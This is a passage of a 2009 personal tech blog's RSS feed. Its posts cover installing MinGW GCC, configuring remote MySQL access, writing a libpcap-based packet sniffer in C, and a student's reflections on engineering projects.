8px; margin-right: 8px; margin-top: 8px;&quot;&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/Z5PW7vFaXn9mwFzDRHrJkA?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite&quot; mce_href=&quot;http://picasaweb.google.com/lh/photo/Z5PW7vFaXn9mwFzDRHrJkA?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite&quot;&gt;&lt;img alt=&quot;&quot; mce_src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/SnVPr5AmDrI/AAAAAAAAA30/eysMw5vXtTE/s800/screen-2.jpg&quot; src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/SnVPr5AmDrI/AAAAAAAAA30/eysMw5vXtTE/s800/screen-2.jpg&quot; style=&quot;border-bottom-width: 0px; border-color: initial; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-style: initial; border-top-width: 0px;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div mce_style=&quot;text-align: center&quot; style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; mce_name=&quot;strong&quot; mce_style=&quot;font-weight: bold;&quot; style=&quot;font-weight: bold;&quot;&gt;Screen - 2&lt;/span&gt;&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; mce_name=&quot;strong&quot; mce_style=&quot;font-weight: bold;&quot; style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Ok I have used JDE v4.5 since my system memory doesn't allow me to run the latest version JDEv4.7. And one good thing about BlackBerry is applications are always forward compatible so if you developed the application using v4.5 it will run without any problem in higher version but vice versa doesn't hold good :)&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 02 Aug 2009 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2009/08/blackberry-sample-application.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/08/blackberry-sample-application.html</guid>
</item>



<item>
<title>Installing GCC on Windows (MinGW)</title>
<description>&lt;span style=&quot;font-family: 'Lucida Grande'; font-size: x-large;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 22px; white-space: pre;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Times New Roman'; font-size: 16px; white-space: normal;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Lucida Grande'; font-size: x-large;&quot;&gt;&lt;div style=&quot;-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;&quot;&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Times New Roman'; font-size: 16px; line-height: normal;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;div style=&quot;-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;&quot;&gt;&lt;div mce_style=&quot;text-align: justify; &quot; style=&quot;text-align: justify;&quot;&gt;I wanted to install the GCC on Windows to compile some Objective C programs. Though there is Dev C++ from BloodShed &amp;nbsp;developers but its development is froze back in 2005. So I planned to go with installing MinGW GCC on Windows XP.&amp;nbsp;&lt;a href=&quot;http://mingw.org/&quot; mce_href=&quot;http://mingw.org/&quot; target=&quot;_blank&quot;&gt;MinGW&lt;/a&gt;&amp;nbsp;stands for Minimalist GNU for Windows. So I visited the wiki link of MinGW to find&amp;nbsp;&lt;a href=&quot;http://mingw.org/wiki/HOWTO_Install_the_MinGW_GCC_Compiler_Suite&quot; mce_href=&quot;http://mingw.org/wiki/HOWTO_Install_the_MinGW_GCC_Compiler_Suite&quot; target=&quot;_blank&quot;&gt;how to install GCC suite for Windows&lt;/a&gt;. There is manual installation but I suggest you to download the .exe file for installation. Well reason is its not easy to &amp;nbsp;configure manually the settings required for GCC on Windows, I tried but got confused as &amp;nbsp;to where to extract files and folders and which environment variables to set.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;First download the&amp;nbsp;MinGW-5.1.4.exe from this&amp;nbsp;&lt;a href=&quot;http://sourceforge.net/projects/mingw/files/&quot; mce_href=&quot;http://sourceforge.net/projects/mingw/files/&quot; target=&quot;_blank&quot;&gt;link&amp;nbsp;&lt;/a&gt;. Then double click on the file click on next, select download and install option and click next. &amp;nbsp;Click next and you will be provided with list of compilers available, by default it will be installing only MinGW32 runtime. Select compilers which you want and click next. Software will try to download the required archive files but it may fail to and tell you to check your internet connection this is because software is still in proposed state. So in that case download the following packages manually&lt;/div&gt;&lt;ul mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;&lt;li&gt;GNU Binutils&lt;/li&gt;&lt;li&gt;GCC Version 3&lt;/li&gt;&lt;li&gt;MINGW Runtime&lt;/li&gt;&lt;li&gt;Windows 32 API&lt;/li&gt;&lt;/ul&gt;&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;This is the required software for gcc if you want other compilers you can dowload them from the above link and select those software in installation screen.&amp;nbsp;&lt;span mce_style=&quot;color: #ff0000;&quot; style=&quot;color: red;&quot;&gt;Note: You should keep these softwares in the same directory as the&amp;nbsp;MinGW-5.1.4.exe.&lt;/span&gt;&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;In this case it wont go for download directly go for installation without any download. Once its done just add the bin directory to your Path variable so that you can use gcc any where on the system. Default installation path will be &amp;nbsp;C:\MinGW.&lt;/div&gt;&lt;table border=&quot;0&quot; class=&quot;mceItemTable&quot; style=&quot;border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; cursor: default; width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; margin-bottom: 8px; margin-left: 8px; margin-right: 8px; margin-top: 8px;&quot;&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/d33tkVPR2rSqwgQ49VRmNg?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite&quot; mce_href=&quot;http://picasaweb.google.com/lh/photo/d33tkVPR2rSqwgQ49VRmNg?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; mce_src=&quot;http://lh6.ggpht.com/_Pms4ehFPMfI/Smx9W7Ba1LI/AAAAAAAAA3A/oFC8OnSvc3k/s512/untitled1.JPG&quot; src=&quot;http://lh6.ggpht.com/_Pms4ehFPMfI/Smx9W7Ba1LI/AAAAAAAAA3A/oFC8OnSvc3k/s512/untitled1.JPG&quot; style=&quot;border-bottom-width: 0px; border-color: initial; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-style: initial; border-top-width: 0px;&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td mce_style=&quot;font-family:arial,sans-serif; font-size:11px; text-align:right&quot; style=&quot;border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: arial, sans-serif; font-size: 11px; margin-bottom: 8px; margin-left: 8px; margin-right: 8px; margin-top: 8px; text-align: right;&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table border=&quot;0&quot; class=&quot;mceItemTable&quot; style=&quot;border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; cursor: default; width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; margin-bottom: 8px; margin-left: 8px; margin-right: 8px; margin-top: 8px;&quot;&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/WbwVzhUB7WAnf33uxIC4NQ?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite&quot; mce_href=&quot;http://picasaweb.google.com/lh/photo/WbwVzhUB7WAnf33uxIC4NQ?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite&quot;&gt;&lt;img alt=&quot;&quot; mce_src=&quot;http://lh4.ggpht.com/_Pms4ehFPMfI/Smx9U9MANDI/AAAAAAAAA28/W-qyAAq0SJo/s512/untitled2.JPG&quot; src=&quot;http://lh4.ggpht.com/_Pms4ehFPMfI/Smx9U9MANDI/AAAAAAAAA28/W-qyAAq0SJo/s512/untitled2.JPG&quot; style=&quot;border-bottom-width: 0px; border-color: initial; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-style: initial; border-top-width: 0px;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td mce_style=&quot;font-family:arial,sans-serif; font-size:11px; text-align:right&quot; style=&quot;border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: arial, sans-serif; font-size: 11px; margin-bottom: 8px; margin-left: 8px; margin-right: 8px; margin-top: 8px; text-align: right;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;
</description>
<pubDate>Sun, 26 Jul 2009 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2009/07/installing-gcc-on-windows-mingw.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/07/installing-gcc-on-windows-mingw.html</guid>
</item>



<item>
<title>Connecting to a remote MySQL database</title>
<description>&lt;div style=&quot;-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;&quot;&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;In my project I needed to connect proxy server program running on the client machine to the MySQL database on the server machine. Each time I was trying to connect to MySQL server I was getting error message saying&lt;/div&gt;&lt;blockquote&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; mce_name=&quot;em&quot; mce_style=&quot;font-style: italic;&quot; style=&quot;font-style: italic;&quot;&gt;Access Denied to user net@&lt;client address=&quot;&quot; ip=&quot;&quot;&gt; using password(yes)&lt;/client&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;I tried to find a solution and in one of the forums they had mentioned that to connect to MySQL DB from a remote machine we need to create a MySQL user on the server as&lt;/div&gt;&lt;blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;someuser@&lt;span class=&quot;Apple-style-span&quot; mce_name=&quot;em&quot; mce_style=&quot;font-style: italic;&quot; style=&quot;font-style: italic;&quot;&gt;&lt;remote-machine-ip&gt;&lt;/remote-machine-ip&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Since my client program is designed to run on many client machine in parallel creating a user for each client is not feasible and also client machines will be getting IP address from DHCP its not possible to create&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; mce_name=&quot;em&quot; mce_style=&quot;font-style: italic;&quot; style=&quot;font-style: italic;&quot;&gt;user@&lt;ip-address&gt;.&lt;/ip-address&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Finally I tried the regular expression of SQL i.e. % which literally means anything (ip,hostname or anything). So I created a user in the server as follows&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;&lt;code&gt;CREATE USER 'net'@'%' IDENTIFIED BY 'some password'&lt;br /&gt;GRANT ALL PRIVILEGES ON some_db.* TO 'net'@'%';&lt;/code&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Well that did it now I'm able to access MySQL DB from any client machine. But be careful in providing privileges to this user since it can be accessed from anywhere providing all privileges may lead to serious security issues.&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Wed, 13 May 2009 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2009/05/connecting-to-a-remote-mysql-database.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/05/connecting-to-a-remote-mysql-database.html</guid>
</item>



<item>
<title>Parsing the Captured Packets : Packet Sniffer</title>
<description>&lt;div style=&quot;-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;In my&amp;nbsp;&lt;a href=&quot;http://vasudevkamath.techfiz.com/2009/03/30/packet-sniffer%E2%80%A6g-pcap-utility/&quot; mce_href=&quot;http://vasudevkamath.techfiz.com/2009/03/30/packet-sniffer…g-pcap-utility/&quot; target=&quot;_blank&quot;&gt;previous post&lt;/a&gt;&amp;nbsp;I had mentioned about how to use pcap utilities for capturing packets. Now in this post I'm going to tell about how to parse the packet and get information from it. Before I explain the code there are few basic data structure that you need to know.&lt;br /&gt;&lt;code&gt;struct ether_header&lt;/code&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This structure is located in&amp;nbsp;&lt;span id=&quot;&quot; mce_style=&quot;color: #ff0000;&quot; style=&quot;color: red;&quot;&gt;netinet/if_ether.h&lt;/span&gt;. The main fields in this structure that we need are&amp;nbsp;&lt;span id=&quot;&quot; mce_style=&quot;color: #ff0000;&quot; style=&quot;color: red;&quot;&gt;ether_shosht&amp;nbsp;&lt;/span&gt;,&amp;nbsp;&lt;span id=&quot;&quot; mce_style=&quot;color: #ff0000;&quot; style=&quot;color: red;&quot;&gt;ether_dhost&lt;/span&gt;, these are used to extract the source and destination mac addresses. You need to declare &amp;nbsp;a pointer of type struct ether_header, you can assign packet by simply assigning the type casted pointer which points to the packet as shown below.&lt;br /&gt;&lt;code&gt;struct ether_header *eptr;&lt;br /&gt;eptr = (struct ether_header *)packet; // packet is of type u_char *&lt;/code&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I had a lot of trouble in extracting the mac address from the packet and storing it in the form x:x:x:x:x:x . I found my own crude way of doing it and was succeeded in it also. I did as follows.&lt;br /&gt;&lt;code&gt;i = ETHER_ADDR_LEN; // i = 6 bytes&lt;br /&gt;ptr = ethernet_header-&amp;gt;ether_shost;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;sprintf(src_mac,&quot;%s%x&quot;,(i == ETHER_ADDR_LEN)?&quot; &quot;:&quot;:&quot;,*ptr ++);&lt;br /&gt;strcat(pktinfo-&amp;gt;eth_src,src_mac);&lt;br /&gt;}while(--i &amp;gt; 0);&lt;/code&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The expression&amp;nbsp;(i == ETHER_ADDR_LEN)?&quot; &quot;:&quot;:&quot;,*ptr ++) I got it from one of the references from&amp;nbsp;&lt;span id=&quot;&quot; mce_style=&quot;color: #ff0000;&quot; style=&quot;color: red;&quot;&gt;tcpdump.org&lt;/span&gt;. But they were simply printing the value on to screen and I want to store them into variable. I tried using sprintf to copy value into the variable directly from the expression. But each time the value was getting replaced by new value so what I did was to concatenate the value entered into the variable by sprintf into a new variable. After the loop finishes execution 2nd variable contains the mac address in the form x:x:x:x:x:x.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Below is the code for the function I used to parse the ethernet header of the packet I captured.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;void Parse_Etherenet_Header(struct pkt_info *pktinfo,const struct pcap_pkthdr pkthdr,const u_char *packet)&lt;br /&gt;{&lt;br /&gt;char src_mac[50],dest_mac[50];&lt;br /&gt;struct ether_header *ethernet_header;&lt;br /&gt;int i;&lt;br /&gt;u_char *ptr;&lt;/code&gt;&lt;/div&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;src_mac[0] = dest_mac[0] = '\0';&lt;br /&gt;/* Initialise the Time stamp */&lt;br /&gt;strcpy(pktinfo -&amp;gt; tm_stmp,(char *)ctime((const time_t*)&amp;amp;pkthdr.ts.tv_sec));&lt;br /&gt;pktinfo-&amp;gt;tm_stmp[strlen(pktinfo-&amp;gt;tm_stmp) - 1] = '\0';&lt;br /&gt;ethernet_header = (struct ether_header *)packet;&lt;br /&gt;/* Extract the Source Mac Address */&lt;br /&gt;i = ETHER_ADDR_LEN; // i = 6 bytes&lt;br /&gt;ptr = ethernet_header-&amp;gt;ether_shost;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;sprintf(src_mac,&quot;%s%x&quot;,(i == ETHER_ADDR_LEN)?&quot; &quot;:&quot;:&quot;,*ptr ++);&lt;br /&gt;strcat(pktinfo-&amp;gt;eth_src,src_mac);&lt;br /&gt;}while(--i &amp;gt; 0);&lt;br /&gt;/* Extract the Destination Mac Address */&lt;br /&gt;i = ETHER_ADDR_LEN;&lt;br /&gt;ptr = ethernet_header-&amp;gt;ether_dhost;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;sprintf(dest_mac,&quot;%s%x&quot;,(i == ETHER_ADDR_LEN)?&quot; &quot;:&quot;:&quot;,*ptr ++);&lt;br /&gt;strcat(pktinfo-&amp;gt;eth_dest,dest_mac);&lt;br /&gt;}while(--i &amp;gt; 0);&lt;/code&gt;&lt;br /&gt;&lt;code&gt;}&lt;/code&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;If you folks find out any mistake in the code above or if you have better way to implement the above function do comment. :)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;In my next post I'll discuss about parsing the rest of the packet that is IP, TCP/UDP portions.&amp;nbsp;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 26 Apr 2009 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2009/04/parsing-the-captured-packets-packet-sniffer.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/04/parsing-the-captured-packets-packet-sniffer.html</guid>
</item>



<item>
<title>Problem that most of Final year Engineering student's face</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Well I don't know how perfect i'm to write on this topic. I just want to share what does I think of this topic. This is my first non technical topic on the blog. As you all know in our final year engineering (8th semester) we need to do project. Following are the question students will get when they think of project&lt;/div&gt;&lt;ul&gt;&lt;li&gt;What is project actually means?&lt;/li&gt;&lt;li&gt;What project shall we do?&lt;/li&gt;&lt;li&gt;In which language we need to do?&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;and the set of questions will continue without any limit. Even I had this questions in my mind. Thanks to the IBM's TGMC project competition which allowed me find out answers for few of my questions, I submitted my so called 1st project in 7th semester to TGMC competition and also surprisingly got selected to 2nd round :)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt; TGMC project was completely based on IBM's technologies like WASCE, DB2 Eclipse(now opensource). This project really gave me exposure to all the new technology. Real benifit I gained was when I went for 2nd round project presentation in Bangalore which gave me idea of where we (students from South Canara) are actually standing compared to the students in Bangalore. Also it let me understand what are the mistakes we made in coding and understanding our project, standards which we should have followed during coding the project. &quot;In simple words I'm benifited a lot from the TGMC event I can't say how much&quot;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Next I should thank &lt;a href=&quot;http://hpnadig.net/&quot;&gt;Hari Prasad Nadig&lt;/a&gt; an independent software developer, contributor to Evolution mail client and the person who started the Kannada community website &lt;a href=&quot;http://sampada.net/&quot;&gt;Sampada&lt;/a&gt;. He taught me how to understand the problem statement of a project. How to start working on project. Previously during TGMC project I never thought of any of these points blindly jumped into coding. He even introduced me to most of the Linux technologies which allows you to tackle any problem.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Most of the students don't like to use Linux as platform for their project. According to them Linux is meant only for geeks and master minds. Others don't like to use Linux technologies beause you need to use your brain to do many tasks, on other hand if you use the technology like .NET you don't have to do many things just drag and drop and select options and it will write the code for you. For such students my question is what did you achive or learnt in doing your project other than learning how to use .NET ;). I'm not blaming them for using .NET technology its their wish but I like to do things on my own and give some work to my brain.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now the main thing which I wanted it to discuss is some students still not sure what technology to use in their project even after 2 months of the semester is over. The main problem is they have some idea in their mind but it is not refined. What they need is a good guidance like one which I got from H.P Nadig or at least exposure to the events like TGMC and of the most is they should have some interest in the work they are doing. Though each team will be having a faculty guides, sometimes the faculty themselves lack such knowledge though they may be good in teaching.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Though we can clear the project phase of the engineering easily the main question which remains in the mind is what we have achived in our 4 year Engineering studies?.. (At least in few minds)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 19 Apr 2009 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2009/04/problem-that-most-of-final-year-engineering-students-face.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/04/problem-that-most-of-final-year-engineering-students-face.html</guid>
</item>



<item>
<title>Packet sniffer using pcap utility</title>
<description>&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;As a part of my project I needed to do a packet sniffer. Ifirst thought of using RAW SOCKETS for this purpose but later found that they have portability issue. Then I came accross pcap utility from tcpdump.org. Each distro has support for this utility. You need to get package libpcap-dev (i.e pcap development package). I did the coding in Debian Lenny so I needed to execute following command to get pcap library for my system.&lt;/div&gt;&lt;blockquote&gt;apt-get install libpcap*&lt;/blockquote&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;To get the executable of your program you need to link it pcap library during the compilation which is done by providing -lpcap switch to the gcc or cc compiler.&lt;/div&gt;&lt;blockquote&gt;gcc -ggdb main.c -o sniffer -lpcap&lt;/blockquote&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;-ggdb switch generates file containing debugging symbols used by gdb utility.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Ok before jumping into coding part we need to know about few basic data structures and functions that we will use in the coding part. Let me start with a simple example.&lt;img class=&quot;mceWPmore mceItemNoResize&quot; mce_src=&quot;http://vasudevkamath.techfiz.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif&quot; src=&quot;http://vasudevkamath.techfiz.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif&quot; title=&quot;More...&quot; /&gt;&lt;/div&gt;&lt;pre name=&quot;code&quot; class=&quot;c&quot;&gt;#include &amp;lt;pcap.h&amp;gt;&lt;br /&gt;int main(int argc,char **argv)&lt;br /&gt;{&lt;br /&gt;   pcap_t *handle;&lt;br /&gt;   char *dev,errbuf[PCAP_ERRBUF_SIZE];&lt;br /&gt;   u_char *packet;&lt;br /&gt;   struct pcap_pkthdr hdr;&lt;br /&gt;   dev = pcap_lookupdev(errbuf);&lt;br /&gt;   if(dev == NULL){&lt;br /&gt;     fprintf(stderr,&quot;pcap_looupdev(): %s\n&quot;,errbuf);&lt;br /&gt;     exit(1);&lt;br /&gt;   }&lt;br /&gt;   handle = pcap_open_live(dev,BUFSIZ,0,0,null);&lt;br /&gt;   if(handle == NULL) {&lt;br /&gt;     fprintf(stderr,&quot;Failed to open %s\n&quot;,dev);&lt;br /&gt;     exit(1);&lt;br /&gt;   }&lt;br /&gt;   while(1){&lt;br /&gt;     packet = pcap_next(handle,&amp;amp;hdr);&lt;br /&gt;     /* ...&lt;br /&gt;      * Process the captured packet here&lt;br /&gt;      */&lt;br /&gt;   }&lt;br /&gt;}&lt;/pre&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Here the &lt;b&gt;pcap_t&lt;/b&gt; is integer data type (similar) which holds the handle for the opened network interface. The structure &lt;b&gt;pcap_pkthdr&lt;/b&gt; is defined as follows( man page of pcap.h)&lt;br /&gt;&lt;pre name=&quot;code&quot; class=&quot;c&quot;&gt;struct pcap_pkthdr {&lt;br /&gt;   struct timeval ts; /* time stamp */&lt;br /&gt;   bpf_u_int32 caplen; /* length of portion present */&lt;br /&gt;   bpf_u_int32 len; /* length this packet (off wire) */&lt;br /&gt;};&lt;/pre&gt;&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Well in my project I used only the time stamp field in this structure. Function &lt;b&gt;pcap_lookupdev&lt;/b&gt; looks for the default interface of your system, so you don't have to worry about specifying interface to the program. If the function encounters error the error message is copied into the errbuf field. This function returs string i.e name of the interface in linux system default interface will be &lt;b&gt;eth0&lt;/b&gt;.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;The function &lt;b&gt;pcap_open_live&lt;/b&gt; opens the specified device for reading (capturing the packet) it returns handle to the device which will be used later to capture the packet from the interface. Prototype is as follows (pcap.h man page)&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; mce_style=&quot;color: #000000;font-family: 'times new roman';font-size: 16px;font-style: normal;font-variant: normal;font-weight: normal&quot; style=&quot;color: black; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;pre name=&quot;code&quot; class=&quot;c&quot;&gt;pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms,char *ebuf)&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Once this much is done you need to enter&amp;nbsp; into infinite loop and use function &lt;b&gt;pcap_next &lt;/b&gt;to capture packet. This function returns pointer to the captured packet, return type is u_char*. The prototype of function is as follows&lt;br /&gt;&lt;code&gt; u_char *pcap_next(pcap_t *p, 